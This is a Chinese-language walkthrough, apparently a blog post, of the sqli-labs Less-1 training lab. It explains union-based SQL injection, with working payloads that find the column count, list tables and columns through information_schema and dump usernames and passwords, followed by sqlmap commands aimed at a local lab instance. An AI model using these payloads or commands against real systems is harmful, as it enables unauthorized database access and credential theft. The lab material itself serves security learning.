目录
Less1
首先来爆字段
联合注入
判断注入点
爆数据库名
爆破表名
information_schema
information_schmea.tables
group_concat()
爆破列名
information_schema.columns
爆值
SQLMAP
主要对sqli-labs 的深入学习
Less1
我们先看看源代码
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
传参是原封不动的传参
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
这里是进行SQL注入的地方 而且没有进行过滤
$result=mysqli_query($con, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysqli_error($con));
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
如果我们直接传入错误的
因为我们可以直接在linux命令行中执行
SELECT * FROM users WHERE id='$id' LIMIT 0,1;
发现是一样的
SELECT * FROM users WHERE id='1' union select 1,2,3#' LIMIT 0,1 ;
我们尝试联合查询 union
但是这个是因为第一条查询到了 然后返回第二条
我们如何只看第二条呢 只要让第一条找不到就可以了
SELECT * FROM users WHERE id='-1' union select 1,2,3#' LIMIT 0,1 ;
这里只需要 将id设置为数据库不存在的即可
这里有一个很重要的问题
我们先需要了解 union是 怎么查询的
SELECT column1, column2, ... FROM table1
UNION
SELECT column1, column2, ... FROM table2;
首先要保证两个查询的column数是一样的
假如
SELECT id, name, age FROM students WHERE id = 100
UNION
SELECT id, name, age FROM teachers WHERE id = 200;
但是没有 id=100的数据
但是,由于第二个 SELECT 查询的列数和数据类型与第一个查询的结果集相同
UNION 运算符会返回第二个 SELECT 查询的结果,只要它的 WHERE 子句中的条件满足。
因此,在使用 UNION 运算符组合两个 SELECT 查询时,只要它们的列数和数据类型相同
即使第一个查询没有返回结果,仍然可以返回第二个查询的结果。
这里就是我们最基本SQL注入的想法 通过第一个查询不到 然后和第二个查询 形成集合返回给我们
就只会返回第二个 因为第一个查找不到
所以我们可以开始做这道题目
?id=1'
来判断是什么类型的 发现是字符型 因为一个单引号报错
near ''1'' LIMIT 0,1' at line 1
这里会蒙
其实报错报错信息是
'1'' LIMIT 0,1
所以我们能够发现是字符型注入
我们先看看能不能构造万能密码
?id=1' or 1=1 -- + 发现是可以的
select * from users where id ='1'or 1=1-- +'
真 or 真
就算我们使用假的也可以
select * from users where id ='-1'or 1=1-- +'
假 or 真
这个在数据库里面是怎么查询的呢
这样就很明显能发现 可以返回数据库里的内容了
首先来爆字段
?id=1' order by 1-- +
?id=1' order by 2-- +
?id=1' order by 3-- +
?id=1' order by 4-- +
发现字段为3
order by 就是通过列来排列 默认是降序
这里是通过 order by 来判断字段
因为123 的时候有返回
4就没有 说明就有3个字段
联合注入
我们猜完字段就可以使用 union来联合注入
union的作用
select 语句1
union
select 语句2
union 会把两个select 语句 结果变为一个集合返回
如果1 报错 没有返回 就会返回2的结果
判断注入点
首先我们看看哪里会回显
/?id=-1' union select 1,2,3-- +
注意前面需要是错误的id
发现我们可以在 2 3 进行注入
爆数据库名
?id=-1' union select 1,2,database()-- +
我们使用database()函数来爆破 数据库的名字
database()是一个Mysql函数 在查询语句的时候返回当前数据库的名字
这里我们就得到了数据名字
爆破表名
这里我们就需要了解一下其他的系统数据库和表
information_schema
是一个系统数据库 它包含了MySQL数据库中所有的元数据信息
information_schmea.tables
这里主要是值tables表
我们需要的数据库 security的信息也在里面
这个tables表可以查询到 数据库所有的表名和信息
所以我们可以继续写语句
我们首先要了解要查什么
1.我们需要查数据库的表
2.数据库的表 存放在系统数据库的 information_schema.tables表中
3.在information_schema.tables中存在table_schema(数据库名) 、table_name(表名)
4.我们需要查询 information_schema.tables表中 的table_name(表名) 并且我们已知 table_schema(数据库名)
所以我们就可以写sql语句
网站
?id=-1'union select 1,2,table_name from information_schema.tables where table_schema='security'-- +
数据库
select * from users where id='-1'union select 1,2,table_name from information_schema.tables where table_schema='security'-- +'
这里只会返回 第三列 email的列名 因为 我们是在 3 的地方进行查询
这里就要使用其他的聚合函数
group_concat()
我们要知道 group_concat()
是通过将返回值 作为一个字符串返回的函数
很好理解
table_name from information_schema.tables
这里 返回的table_name假设是 a b c 这里是3个返回值
group_concat(table_name) from information_schema.tables
加上聚合函数返回的就是 "a b c" 变为了1个返回值
从这里就可以看出来 只在3 返回了 并且返回的是一个字符串(所有的列名合为一个)
网站
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'-- +
数据库
select * from users where id='-1'union select 1,2,GROUP_CONCAT(table_name) from information_schema.tables where table_schema='security'-- +'
这里我们就得到了表名 现在 就可以选择一个表名进行查看
爆破列名
这里也是要用到我们的系统数据库
information_schema.columns
这个是 系统数据库的字段表
存放着每个数据库的字段信息
1.我们需要确定我们查询的是什么表
2.我们需要的是表的字段名
3.通过information_schema.columns 可以查询字段名
4.要求是要知道 表名是什么
其中的table_name 就是我们知道的信息(表名)
column_name就是我们需要查询的信息(字段名)
假设我们需要查询的是users表
select * from users where id='-1'union select 1,2,GROUP_CONCAT(column_name) from information_schema.columns where TABLE_NAME='users'-- +'
这里就是返回了users的所有字段名
这里返回了一些不是表中的字段
USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS
这是为什么呢
因为我们在写语句的时候 没有指定数据库 只指定了users
我们不排除其他地方也存在users 的表
很显然 还有其他数据的表的字段也返回了
这个时候我们只需要加入一个and 即可
?id=-1'union select 1,2,GROUP_CONCAT(column_name) from information_schema.columns where table_schema='security' and TABLE_NAME='users'-- +
爆值
?id=-1'union select 1,2,GROUP_CONCAT(id,'--------',username,'--------',password) from security.users-- +
因为我们知道了所有的信息 所以爆值就很快
通过字段 然后选择 数据库.表名 即可得出值来
这个时候就很简单取得值即可
SQLMAP
开启mysql 和 apache 服务
保证 靶场搭建
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --tables
这个会返回所有的数据库和数据库的表
我们确定了数据库和表就可以直接来爆破字段
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security -T users --columns
我们就可以直接得出值
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security -T users --dump